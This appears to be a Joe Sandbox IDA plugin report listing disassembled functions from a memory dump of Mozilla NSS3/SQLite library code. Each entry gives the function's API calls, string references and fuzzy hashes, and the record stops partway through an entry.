Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: d106da21989bff4cc2a6d1c89825c2cbfea11e1988177f8551b8db5e4f3d0fd5
Instruction ID: 5b1b6f3f6e151bfe55ea7be9cff0efe9e987db42a33731485977f86115176c07
Opcode Fuzzy Hash: d106da21989bff4cc2a6d1c89825c2cbfea11e1988177f8551b8db5e4f3d0fd5
Instruction Fuzzy Hash: 7F015BB43061509FDF31EF6CCD89B563BB8AB4721CF081525F8A983A5ADB35E850CA91

Function 6C837C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C837C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C837C83
malloc.MOZGLUE(00000001), ref: 6C837C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C837C9F
PR_GetCurrentThread.NSS3 ref: 6C837CAD

Part of subcall function 6C7E9BF0: TlsGetValue.KERNEL32(?,?,?,6C830A75), ref: 6C7E9C07

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: fd66369c9dee4c42727d913341d21750cbf1454f95cf48d6d2dca47ae2edf44b
Instruction ID: e6eb8b351fab021803edcf8cfe614dfdff5deb0299da83c50f507c0005b83bc5
Opcode Fuzzy Hash: fd66369c9dee4c42727d913341d21750cbf1454f95cf48d6d2dca47ae2edf44b
Instruction Fuzzy Hash: 70F0C2F2910226ABEB109FBADE0D9877798EF45265B019835E80DC3B00E735E515CBE5

Function 6C83ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C83A6D8), ref: 6C83AE0D
free.MOZGLUE(?), ref: 6C83AE14
DeleteCriticalSection.KERNEL32(6C83A6D8), ref: 6C83AE36
free.MOZGLUE(?), ref: 6C83AE3D
free.MOZGLUE(00000000,00000000,?,?,6C83A6D8), ref: 6C83AE47

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 6dde3406e8d3eaaa74b2b382ea1c6fa0c52d0324504b11c85df47ef34ff37b0d
Instruction ID: 140b90f4a472bbc7fb69785d7448872653e203edf8c80991c11694f0dbfe7924
Opcode Fuzzy Hash: 6dde3406e8d3eaaa74b2b382ea1c6fa0c52d0324504b11c85df47ef34ff37b0d
Instruction Fuzzy Hash: 92F0F6B6201A11A7CE21AFA8D84C95BB7B8BF867797100338F12E83981E731E011C7E1

Function 6C6B88D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,01DC7D83), ref: 6C6B8990

Strings

@zll, xrefs: 6C6B8A31

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: memset
String ID: @zll
API String ID: 2221118986-1853514623
Opcode ID: 5ca5cb84d12dacb23699aa97309211bbb54f3851c7d3ad545ac2e6f8bb04cd8b
Instruction ID: f8fa7e27f78a7a83ad8782e9a03d8f4423e55cf5e6a9139f9f19757886209e2e
Opcode Fuzzy Hash: 5ca5cb84d12dacb23699aa97309211bbb54f3851c7d3ad545ac2e6f8bb04cd8b
Instruction Fuzzy Hash: 04510871A057929FC704CF68C1946A6BBF0BF59308B24929DC4885BB13D331F5A6CBE5

Function 6C6C7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6C7D35

Strings

%s at line %d of [%.10s], xrefs: 6C6C7D2E
database corruption, xrefs: 6C6C7D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6C7D13, 6C6C7D1F, 6C6C7D47, 6C6C7D53, 6C6C7D5F

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 9aad8a5f2035ed47b813c4168425e82b488ef1c860cc288635f85c292c49b2e8
Instruction ID: aa97f91b73c7aa399604e2ac93cf1d93798744563565e8b0bc763116623b9150
Opcode Fuzzy Hash: 9aad8a5f2035ed47b813c4168425e82b488ef1c860cc288635f85c292c49b2e8
Instruction Fuzzy Hash: C4314671F042299BC710CF9EC8809BEBBF1EF48719B5905A6E444B7B85D270E841C7AA

Function 6C6B6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C6B6D36

Strings

%s at line %d of [%.10s], xrefs: 6C6B6D2F
database corruption, xrefs: 6C6B6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6B6D20

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 2e85140f3f052cb15601f78baf8f87c931cace14c5c2a2ef8c7c6c6c0d340dc5
Instruction ID: 8eb00f94cb7c063c0bbe28a09716442979079913dfd2e945846d8dc5e16406cf
Opcode Fuzzy Hash: 2e85140f3f052cb15601f78baf8f87c931cace14c5c2a2ef8c7c6c6c0d340dc5
Instruction Fuzzy Hash: C52106307043059BC718CF19C841B9AB7F2AF85318F14492DD849ABF51E7B1F959C79A

Function 6C792FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+yl,6C7932C2,<+yl,00000000,00000000,?), ref: 6C792FDA

Part of subcall function 6C7814C0: TlsGetValue.KERNEL32 ref: 6C7814E0
Part of subcall function 6C7814C0: EnterCriticalSection.KERNEL32 ref: 6C7814F5
Part of subcall function 6C7814C0: PR_Unlock.NSS3 ref: 6C78150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C79300B

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C79302A

Part of subcall function 6C780840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7808B4

Part of subcall function 6C76C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C76C45D
Part of subcall function 6C76C3D0: TlsGetValue.KERNEL32 ref: 6C76C494
Part of subcall function 6C76C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C76C4A9
Part of subcall function 6C76C3D0: PR_Unlock.NSS3(?), ref: 6C76C4F4

Strings

<+yl, xrefs: 6C792FD0

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+yl
API String ID: 2538134263-358145736
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: af6f4e6d15189978a5044b0d345d187c48c6347f2b19cebe43fdfbe955868464
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: A011E7B6B011046BDB008E69ED09A9B77DA9B8426CF184134E91CD7781E772ED15C7A1

Function 6C7ECC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C7ECD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C7ECC7B), ref: 6C7ECD7A
Part of subcall function 6C7ECD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7ECD8E
Part of subcall function 6C7ECD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7ECDA5
Part of subcall function 6C7ECD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7ECDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C7ECCB5
memcpy.VCRUNTIME140(6C8814F4,6C8802AC,00000090), ref: 6C7ECCD3
memcpy.VCRUNTIME140(6C881588,6C8802AC,00000090), ref: 6C7ECD2B

Part of subcall function 6C709AC0: socket.WSOCK32(?,00000017,6C7099BE), ref: 6C709AE6
Part of subcall function 6C709AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C7099BE), ref: 6C709AFC

Part of subcall function 6C710590: closesocket.WSOCK32(6C709A8F,?,?,6C709A8F,00000000), ref: 6C710597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C7ECCB0

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 09ea2b9620350e28253bbc0126bf8a92ca5846bd5353a20eedc86d332a083323
Instruction ID: 6c1e20b5317f453c72823f590c2c5e1fed71f51400a2b9103a56c2d194502ee7
Opcode Fuzzy Hash: 09ea2b9620350e28253bbc0126bf8a92ca5846bd5353a20eedc86d332a083323
Instruction Fuzzy Hash: 0A1151F6B062545EDB309F9D9A4B7423AA8974731CF543839E42A8BF82EB75C408C7D1

Function 6C751CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C751CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C751CF1

Part of subcall function 6C8309D0: PR_Now.NSS3 ref: 6C830A22
Part of subcall function 6C8309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C830A35
Part of subcall function 6C8309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C830A66
Part of subcall function 6C8309D0: PR_GetCurrentThread.NSS3 ref: 6C830A70
Part of subcall function 6C8309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C830A9D
Part of subcall function 6C8309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C830AC8
Part of subcall function 6C8309D0: PR_vsmprintf.NSS3(?,?), ref: 6C830AE8
Part of subcall function 6C8309D0: EnterCriticalSection.KERNEL32(?), ref: 6C830B19
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C830B48
Part of subcall function 6C8309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C830C76
Part of subcall function 6C8309D0: PR_LogFlush.NSS3 ref: 6C830C7E

Strings

pInitArgs = 0x%p, xrefs: 6C751CEC
C_Initialize, xrefs: 6C751CD3

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: f02e003f40ccda98acd13c2b8f3c98b948431f737af50c4397d723e3c4a7c25f
Instruction ID: edb2db5a2bf94650a14078f3ea813b9d2c24fbf8f3ae056e835e2938f7a1fb9a
Opcode Fuzzy Hash: f02e003f40ccda98acd13c2b8f3c98b948431f737af50c4397d723e3c4a7c25f
Instruction Fuzzy Hash: E5016D392032449BDB209F589A4EA5633B5AB8331EF494435E80896E11DF74A859C6D1

Function 6C6AA8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6C7DA480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C7FC3A2,?,?,00000000,00000000), ref: 6C7DA528
Part of subcall function 6C7DA480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7DA6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6AA94F

Strings

%s at line %d of [%.10s], xrefs: 6C6AA948
database corruption, xrefs: 6C6AA943
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6AA939

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 9480cdbfcf9291b43c52cd911a7be976217cae0d661828d68db44ec5eee9b62b
Instruction ID: a7df41e7cafacd11e6b9d982fbe015ff45343553b815c0108990c52acdc8908a
Opcode Fuzzy Hash: 9480cdbfcf9291b43c52cd911a7be976217cae0d661828d68db44ec5eee9b62b
Instruction Fuzzy Hash: 54017B31A002045BC3108AA9DD08B9BB3F4AB48308F46083ED94957B41E771BC098BA9

Function 6C738850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C740715), ref: 6C738859
PR_NewLock.NSS3 ref: 6C738874

Part of subcall function 6C7E98D0: calloc.MOZGLUE(00000001,00000084,6C710936,00000001,?,6C71102C), ref: 6C7E98E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C73888D

Strings

NSS, xrefs: 6C738887

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: aa0f5905493d8d83e4b5ec767fdf058d9b6cfa05d1ea917ee816ec4551f10a45
Instruction ID: e99729ca7076687e3a714cb0bf6178da7b61a805648e94044d4f0fc161ea33d1
Opcode Fuzzy Hash: aa0f5905493d8d83e4b5ec767fdf058d9b6cfa05d1ea917ee816ec4551f10a45
Instruction Fuzzy Hash: BAF09666E4163033F611116A6E0EBC665985F6575EF040432ED0CE7F83EEA5A51883F2

Function 6C7CA890 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,?,6C7B5F25,?,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7CA8A3

Part of subcall function 6C76ADC0: TlsGetValue.KERNEL32(?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE10
Part of subcall function 6C76ADC0: EnterCriticalSection.KERNEL32(?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE24
Part of subcall function 6C76ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C74D079,00000000,00000001), ref: 6C76AE5A
Part of subcall function 6C76ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE6F
Part of subcall function 6C76ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE7F
Part of subcall function 6C76ADC0: TlsGetValue.KERNEL32(?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEB1
Part of subcall function 6C76ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEC9

PK11_FreeSymKey.NSS3(?,00000000,?,6C7B5F25,?,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7CA8BA
SECITEM_ZfreeItem_Util.NSS3(%_{l,00000000,00000000,?,6C7B5F25,?,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7CA8CF

Strings

%_{l, xrefs: 6C7CA894, 6C7CA8CE

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValue$Item_UnlockUtilZfreefreememset
String ID: %_{l
API String ID: 2877228265-1502045395
Opcode ID: 3ac177e4cf9edec60fbb6e888bd732be081e58e015d061e527909386f055548f
Instruction ID: 68e966d8ff97485729cebe489cb7b45a208bf3e1a9ed26cc66f38495efa11c96
Opcode Fuzzy Hash: 3ac177e4cf9edec60fbb6e888bd732be081e58e015d061e527909386f055548f
Instruction Fuzzy Hash: 28F0A0F2E017255BEA119A56ED49B9773DCAB007AEF048034DC1A97F01E321E8058BE2

Function 6C71C9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6C71CB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C71CB4B
sqlite3_free.NSS3 ref: 6C71CB70
sqlite3_result_error_nomem.NSS3 ref: 6C71CB99

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: e0ca076bcbc9c842bd060902ef316e6ddf624f9dd0350faaaf137ffb5b46e710
Instruction ID: 109cd89b53d2f5367c6c10fc97abc722452ddf3056524a5fce0089a6b0b914f0
Opcode Fuzzy Hash: e0ca076bcbc9c842bd060902ef316e6ddf624f9dd0350faaaf137ffb5b46e710
Instruction Fuzzy Hash: EA51043261CB458AC312EF74C14012FB7F0BF86799F188A2DE8D56AA50EB31D495C786

Function 6C7E4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C6C85D2,00000000,?,?), ref: 6C7E4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7E500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7E50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7E50D6

Memory Dump Source

